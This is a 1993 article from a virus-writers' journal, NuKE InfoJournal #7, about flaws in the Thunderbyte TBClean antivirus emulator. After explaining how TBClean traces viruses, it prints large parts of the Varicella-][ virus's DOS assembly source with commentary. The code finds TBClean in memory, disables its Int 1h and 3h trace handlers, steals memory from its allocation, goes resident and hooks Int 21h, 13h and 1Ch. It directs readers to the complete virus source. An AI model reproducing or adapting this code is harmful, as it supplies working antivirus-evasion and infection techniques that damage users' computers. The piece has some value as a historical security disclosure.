================================================================================ NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- E- "The Dangers of Thunderbyte's TBClean Emulation Nu Nu Techniques" KE KE -N -N By uK uK Rock Steady E- E- Nu E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu NuKE InfoJournal #7 August 1993 % AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 % % DISCLAIMER % This article is concerning a study and field test of the reliability of Thunderbyte's anti-virus package. The study was conducted by Rock Steady, and this is simply a report about his extensive study of Thunderbyte's TBClean utility. This report is not intended to scare people away from Thunderbyte's anti-virus package, but rather to show you how TBClean actually works in order to clean a virus. The information here may disturb many people, nevertheless it is presented here for the safety of those who use Thunderbyte's TBClean in a home and/or business environment. % What is ThunderByte % Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean computer viruses. In this issue of the NuKE InfoJournal, we will take a very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE which is supplied in every TBAV package. TBCLEAN.EXE is a program that tries to remove viruses from your infected files by using an heuristic/emulation approach. Now, for those who don't understand what an heuristic/emulation approach is let me try to explain it to you in more simplified, less-technical terms. TBClean will try to set up a "control" environment to execute the virus. You see, many of the computer viruses today will attach themselves to binary files and alter them in such a way that when you try to execute (run) the binary file the virus will execute first and install itself into memory, and then the virus will execute the original binary file it is attached to. Now, every ????????.COM and ????????.EXE binary file contains an entry point. This is the point from which DOS to starts to execute the code. Basically it is the beginning of the program, and in order for the file to run properly we need to start at that entry point. Now *.COM files contain a FIXED entry point which is location 100h. Now if we attach a virus to the end of the COM file, we have to fix the entry point so that when executed the virus will run first. Since this is a FIXED entry point, we will go to location 100h, and put a JMP statement to jump to the entry point of the virus. For the original file to execute correctly, we will need the original three bytes at the entry point, since the JMP we put for it to jump to the virus entry point took three bytes of data in the .COM. So when the virus gives control back to the file, we then must restore the original three bytes and execute them. Now to remove the virus from the .COM file we need to know where the original three bytes are. So TBClean will actually execute the virus and try to catch the virus restoring the original three bytes. Once that happens, TBClean can safely remove the virus from the file, as it now can replace the original three bytes where the virus put its jump statement. Now .EXEs have a variable entry point, rather than a fixed one like the .COM files. Each .EXE file contains a header of about 32 bytes in the beginning of the file which has information about the .EXE itself, including the entry point. Now when a virus attaches (infects) itself to an .EXE file, it simply puts its entry point inside the .EXE header and saves the original one for later use. Again, in order to remove a file from an .EXE file, we will need to have the original entry point location. And TBClean does this by executing the virus in a controlled environment; when the virus restores control back to the .EXE file, it will jump to the entry point location. TBClean will halt at that point and attempt to clean the file. % The Problem % The problem when doing this, the virus can always escape from this controlled environment and go loose. In fact we at NuKE have attempted and succeeded in doing just that! % Explanation % When you run TBClean to disinfect a virus-infected file, it does several things in order to set up the environment needed to execute the virus. One of things that TBClean does is check to see if it is being debugged. I guess the makers of TBClean did not want people to "debug" their software in order to have a closer look because once you know how the program works you then can attempt to bypass it. The easiest way to bypass the anti-debug traps is to use a debugger package that can go TSR and put loose breakpoints. I've found that Periscope and SoftIce can easily bypass the TBClean traps, or you may set a TSR file and set it to go off on the first interrupt 21h, function 3Dh (DOS Open File). The next main trick TBClean does is that it occupies all of the remaining memory left in the system. TBClean only requires about 20k for itself, but nevertheless it will occupy all the remaining memory left in the system. It will use this memory for the file it will attempt to clean, but not all of the memory is really needed, nevertheless it is occupied. Why? Well, because TBClean wants to set-up a secure environment to run the virus and by occupying all the available memory if the virus gets out of hand it CAN'T go resident because there is no more memory left! "Pretty smart," you must be saying to yourself? Yes, it is a good idea to occupy all of the memory, so like even if the virus tries to allocate memory it will get an error and it will quit. The next trick, before TBClean actually executes the virus in the controlled environment is that it will make two copies of the interrupt vector table. This too is a good idea, because if a virus does manage to escape and hook the vector table, TBClean will notice the vector table change and restore it with the original value. Therefore, if a virus was to "get out" of this controlled TBClean environment we would need to hook all three copies of the vector tables (DOS + the two copies that TBClean makes). After this, we are pretty much ready to try to make a disinfection via emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h, and 4h to do the actual tracing. The interrupt that we REALLY need to pay attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086) they added what we call a Trap Flag. Normally this flag is off, and the processor executes every line of code without stoping. But when the trap flag is on, the processor will issue an Int 1h call after every line of code executed. Therefore, after every line of code is executed the processor will issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze the code line by line. There are a few restrictions that TBClean enforces; one of them is the Trap flag must always be on! If you try to turn off the Trap flag, TBClean will fool the virus into thinking the Trap flag is off, but it really stays on. Secondly, interrupt calls are not allowed. Thirdly, it will never give you the true vector address of Int 1h or Int 3h -- it gives you a fake value instead. Finally, TBClean will NOT allow the virus to have its segment in the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000, the value 0ABC is never allowed to go in the DS or ES registers of the virus. This is done so the virus is not able to snoop inside TBClean. % Making a virus to bypass TBClean % After I had successfully taken apart TBClean, and once I understood exactly how it worked, then I was ready to write a virus to defeat TBClean's dangerous emulation techniques. Don't get me wrong, TBClean has a great idea going, but it contains too many flaws that must be tightened up. And apparently those flaws can lead to the destruction of your PC. Just think about it. Let's say you just downloaded a file from your local BBS, and you used TBSCAN to scan the new file for viruses, before you attempt to execute it. Lets say the file is infected with a virus like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus, wouldn't you naturally try to clean it so you could perhaps use the file? Of course you would, and what program would you use to do the job? Nothing but TBClean! Picture it, your computer is not infected by any virus, you are pretty much happy about yourself for using TBSCAN and detecting that virus inside that file you just downloaded. Your glad you got it before it infected your computer. Or lets say you got TBScanX resident, and it caught the virus, just as you attempt to executed it... You now try to clean the file with TBClean. TBClean does what it has to do, looks at the file and then tries emulation to disinfect it. After emulation TBClean reports no viruses found, and tells you that it may not even be infected with a virus. You're puzzled? Well, actually TBClean just unleased the virus into your system! Now who's to blame? Personally, I think it's the incompetent programmers of TBClean. It allowed too many loopholes in their program, and the Varicella-][ virus just took advantage of those loopholes and is now resident in your computer, ready to infect every file you touch. Remember, it is also a very fast, stealthy virus. Personally, if _any_ anti-virus program should attempt to disinfect via emulation, it must be EXTREMELY cautious, and it should take every possible loophole into account. Remember, emulation means that you are actually executing the virus in order to disinfect it. Many people didn't know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte should praise NuKE for testing their software and showing them their flaws, so that they may do whatever is necessary to fix this problem. It is fortunate for Thunderbyte that no "evil" virus writer has noticed this problem and took advantage of it. It would have cost Thunderbyte their name and market share. Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad that Thunderbyte rated very low under NuKE's personal attack tests in several fields. Thunderbyte reported too many false positives, meaning it screamed *VIRUS* when no virus was present. It is enough that the average computer user is paranoid about viruses, but if you "cry wolf" too many times people lose hope in the package. Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and under OS/2. This seems to be because TBSCAN uses its own file routines, instead of DOS's. Thunderbyte is also not very user friendly -- 4 out of 5 moms found this package too difficult to use. A Windows version of Thunderbyte could be a great plus. % And in this corner...Varicella-][ % Let's go into detail with parts of the Varicella-][ virus and let's show you why it works. 1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag 2 xor dx,dx ;dx=0 3 mov ds,dx ;ds=0 4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of 5 dec ax 6 mov ds,ax Okay, after looking at the above we begin by resetting our TB flag. TBClean will not give us the complete address of Int 1h. It will only give us the correct segment, the offset is no good. Therefore let's simply take the segment. Now we know the segment location of TBClean in memory, since TBClean will not let me store the value in DS, let's subtract 1 and *then* store it in DS. We have again fooled TBClean; maybe we can't have TBClean's correct segment in DS, but by subtracting 1 and adding 16 to IP, we get the exact location. In the next block of code, we will search 64k of TBClean's memory in order to find the Int 1h and 3h offsets and the two copies of the vector table. This is the bit of data we will be searching for. ====================Somewhere in TBClean.EXE==v6.04=================== 1 cs:04A4 33C0 xor ax,ax 2 cs:04A6 8ED8 mov ds,ax 3 cs:04A8 8BF8 mov si,ax 4 cs:04AA BF342D mov di,2D34 5 cs:04AD B90002 mov cx,0200 6 cs:04B0 F3A5 rep movsw [The above block is coping the vector table (0000:0000) to location ES:DI (ES:2D34). This value we will need.] 7 cs:04B2 FA cli 8 cs:04B3 C70600005411 mov word ptr [0000],1154 9 cs:04B9 8C0E0200 mov [0002],cs 10 cs:04BD C7060400E513 mov word ptr [0004],13E5 11 cs:04C3 8C0E0600 mov [0006],cs 12 cs:04C7 C7060C006B15 mov word ptr [000C],156B 13 cs:04CD 8C0E0E00 mov [000E],cs 14 cs:04D1 C70610005411 mov word ptr [0010],1154 15 cs:04D7 8C0E1200 mov [0012],cs 16 cs:04DB C70614005411 mov word ptr [0014],1154 17 cs:04E1 8C0E1600 mov [0016],cs 18 cs:04E5 C70618005411 mov word ptr [0018],1154 19 cs:04EB 8C0E1A00 mov [001A],cs 20 cs:04EF C7066C002411 mov word ptr [006C],1124 21 cs:04F5 8C0E6E00 mov [006E],cs 22 cs:04F9 FB sti [The above block is hooking the vector table. This is were we get our Int 1h and 3h location.] 23 cs:04FA 8BF0 mov si,ax 24 cs:04FC 8BF8 mov di,ax 25 cs:04FE 2E8E06F032 mov es,cs:[32F0] 26 cs:0503 B90080 mov cx,8000 27 cs:0506 F3A5 rep movsw [The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into the segment which is in location CS:32F0. We will need to get this location to hook the interrupts.] ===========================END of TBClean============================= Now, the bellow block will start to search for the above block in memory where we will scan 64k from the segment we got. mov cx,0FFFFh ;cx=64k mov si,dx ;si=0 look_4_TBClean: mov ax,word ptr ds:[si] xor ax,0A5F3h [You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky because TBClean will find out what I'm doing and fool around with the flag and my test will fail! As you can see, we are looking for the bytes from line #6. We search by REVERSE-BIT format! To find F3A5 we search with A5F3.] je check_it ;jmp if its TBClean look_again: inc si ;if not continue looking loop look_4_TBClean jmp not_found ;not found cont normal [If A5F3 is found, we continue with the bottom, which will search for more bytes in that block captured above. These bytes that we are searching for exist in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it should work!] check_it: mov ax,word ptr ds:[si+4] xor ax,0006h jne look_again ;jmp =! TBClean mov ax,word ptr ds:[si+10] xor ax,020Eh jne look_again ;jmp =! TBClean mov ax,word ptr ds:[si+12] xor ax,0C700h jne look_again ;jmp =! TBClean mov ax,word ptr ds:[si+14] xor ax,0406h jne look_again ;jmp =! TBClean [If all the bytes match, it means we found TBClean in memory, and since we know where we are, we can steal the Int 1h & 3h locations, like we do bellow.] mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset [Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to the offset because the segment is really DS - 1, so to counter act the segment we add 16 to the offset. (16 bytes = 1 segment)] mov byte ptr ds:[bx+16],0CFh ;replace with IRET [Same is done for Int 3h bellow.] mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset mov byte ptr ds:[bx+16],0CFh ;replace with IRET [TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we found TBClean, and let's go resident] mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on [The next block gets the segment of where the 2nd copy of the vector table is hiding (line #25 in TBClean capture)!] mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints mov word ptr cs:[tb_int2][bp],bx ;vector table [The next block gets the offset of the 1st copy of the vector table that TBClean did (line #4 in TBClean capture).] mov bx,word ptr ds:[si-5] ;get offset of 1st copy mov word ptr cs:[tb_ints][bp],bx ;of vector table [Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.] not_found: xor dx,dx push ds mov ds,dx ;put that in ds les si,dword ptr ds:[0084h] ;get int21 vector mov word ptr cs:[int21][bp],si ;save int21 offset mov word ptr cs:[int21+2][bp],es ;save int21 segment les si,dword ptr ds:[0070h] ;get int1c vector mov word ptr cs:[int1c][bp],si ;save int1c offset mov word ptr cs:[int1c+2][bp],es ;save int1c segment les si,dword ptr ds:[004ch] ;get int13 vector mov word ptr cs:[int13][bp],si ;save int13 offset mov word ptr cs:[int13+2][bp],es ;save int13 segment pop ds mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag mov ax,0abcdh ;test if virus is here? int 13h cmp bx,0abcdh ;is it? jne install_virus ;jmp, if not & install leave_mcb: jmp exit_mem ;yes, leave then [This is the tricky part! Remember TBClean occupies ALL available memory! So I had to come up with a routine that would work when TBClean was NOT in memory, and when it was! The task was hard...but I did it (naturally, hehe). TBClean *NOT* in memory: If TBClean is not in memory, then we start at location "install_virus" and we get the List of Lists, and we get the FIRST MCB chain and basically we chain through until we find the END of the MCB chain, which ends with a "Z" instead of an "M". Once we find the last chain we subtract the virus size in paragraphs, and that's it... TBClean in memory: If TBClean is in memory when the virus finds the LAST MCB block and tries to subtract its size from it, it will notice that not enough memory is available. Where then will jump to "steal_some." What "steal_some" does is it will REPEAT the process again. Meaning it will now get the FIRST MCB chain, and chain through the end, but while its chaining through the MCB, it will look for the MCB that belongs to TBClean!!! Once we find the MCB that belongs to TBClean we will subtract the virus size in paragraphs from it and voila -- we stole and allocated memory while bypassing TBClean!!! And now we can safely return to TBClean without worrying if it will de-allocate our memory space.] ;--------- Going Resident ------ steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal cmp al,0ffh ;memory from it! je leave_mcb ;error? exit then inc byte ptr cs:[mcb][bp] ;inc flag cmp al,01 ; ja mcb3_1 install_virus: mov ah,52h ;get the list of lists int 21h ;use dos mov ax,es:[bx-2] ;get first mcb chain mov es,ax ;es=segment of 1st mcb mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb jne mcb2 ;jmp if not clc ;yes last mcb, CLC jmp short mcbx ;outta here mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain je mcb3 ;jmp if yes stc ;error, set carry flag jmp short mcbx ;outta here [The bellow block is special! Meaning if the TB flag is on, we will compare ALL of the MCB block owners to find the one that belongs to TBClean! Since we already know the segment of TBClean, we subtract 100h (256) bytes and we have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since we already subtracted 1 from the beginning!] mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off? je mcb3_1 ;if yes, then jmp mov dx,ds ;else cmp TB ds sub dx,9h ;ds-10 cmp word ptr es:[0001h],dx ;cmp to mcb owner. je mcbx_1 mcb3_1: mov ax,es ;ax=es add ax,word ptr es:[0003h] ;ax=es + next mcb inc ax ;get mcb mov es,ax ;es=ax:next mcb chain jmp short mcb1 ;goto first step mcbx: jc leave_mcb ;if error, exit mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h jb steal_some mov byte ptr es:[0000],'Z' ;the last mcb chain! sub word ptr es:[0003],(virus_size/16) + 11h add ax,word ptr es:[0003h] ;figure out segment inc ax ;add 16 bytes mov es,ax ;new segment in es mov di,103h ;offset is 103h [Now we have some memory! Let's move a copy of the virus into that newly allocated memory under the TOM!] push ds ;save TB ds location push cs pop ds ;virus cs=ds mov si,offset init_virus ;si=top of virus add si,bp ;add delta mov cx,virus_size ;move virus_size cld ;clear direction flag repne movsb ;do it Mr. Crunge [Now we will hook the DOS Vector table (0000:0000->0000:0200).] mov ds,cx ;ds=0000 hook_again: cli ;disable ints mov word ptr ds:[0084h],offset int21_handler ;hook int21 mov word ptr ds:[0086h],es mov word ptr ds:[0070h],offset int1c_handler ;hook int1c mov word ptr ds:[0072h],es mov word ptr ds:[004ch],offset int13_handler ;hook int13 mov word ptr ds:[004eh],es sti ;enable ints [We will test if the TBClean flag is on! If TBClean flag is on, we will make DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!] cmp byte ptr cs:[tb_here][bp],00h ;was TB found? je go_on ;no, then jmp cmp cl,01h ;is this the 2nd x here? je go_on ;yes, then jmp mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment inc cl ;inc cl jmp short hook_again ;hook ints again [If TBClean was found the bellow block will now hook the last copy of the vector table that TBClean did...] go_on: pop ds ;get TB code segment cmp byte ptr cs:[tb_here][bp],01h ;TB here? je hook_tb_ints ;yes, then jmp jmp exit_mem ;else exit hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset mov word ptr ds:[si+84h+16],offset int21_handler mov word ptr ds:[si+86h+16],es mov word ptr ds:[si+70h+16],offset int1c_handler mov word ptr ds:[si+72h+16],es mov word ptr ds:[si+4ch+16],offset int13_handler mov word ptr ds:[si+4eh+16],es [ALL DONE!!! Now we restore to the original file! So how does it feel to fool TBClean??? Article #11 contains the complete source code of the Varicella-][ virus. You may test it as you wish!] exit_mem: pop ds pop es pop si cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? je exit_exe_file ;yupe exit exe file cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? je exit_exe_file ;yupe exit exe file push cs pop ds mov bx,offset buffer ;get first 3 bytes add bx,bp ;fix delta mov ax,[bx] ;move first 2 bytes mov word ptr ds:[100h],ax ;put em in the beginning inc bx ;inc pointer inc bx mov al,[bx] ;get last of 3rd byte mov byte ptr ds:[102h],al ;put that in place pop dx pop cx pop bx pop word ptr cs:[ax_reg][bp] ;save ax else where mov ax,100h push ax ;fake a CALL & RETN mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal retn ;link to 100h exit_exe_file: mov dx,ds ;get psp=ds seg add dx,10h ;add 16bytes to seg pop word ptr cs:[ax_reg][bp] pop cx pop bx pop ax add word ptr cs:[buffer+22][bp],dx ;fix segments add dx,word ptr cs:[buffer+14][bp] cli mov ss,dx ;restore ss mov sp,word ptr cs:[buffer+16][bp] ;and sp sti mov dx,word ptr cs:[ax_reg][bp] jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. Rock Steady/NuKE ===============================================================================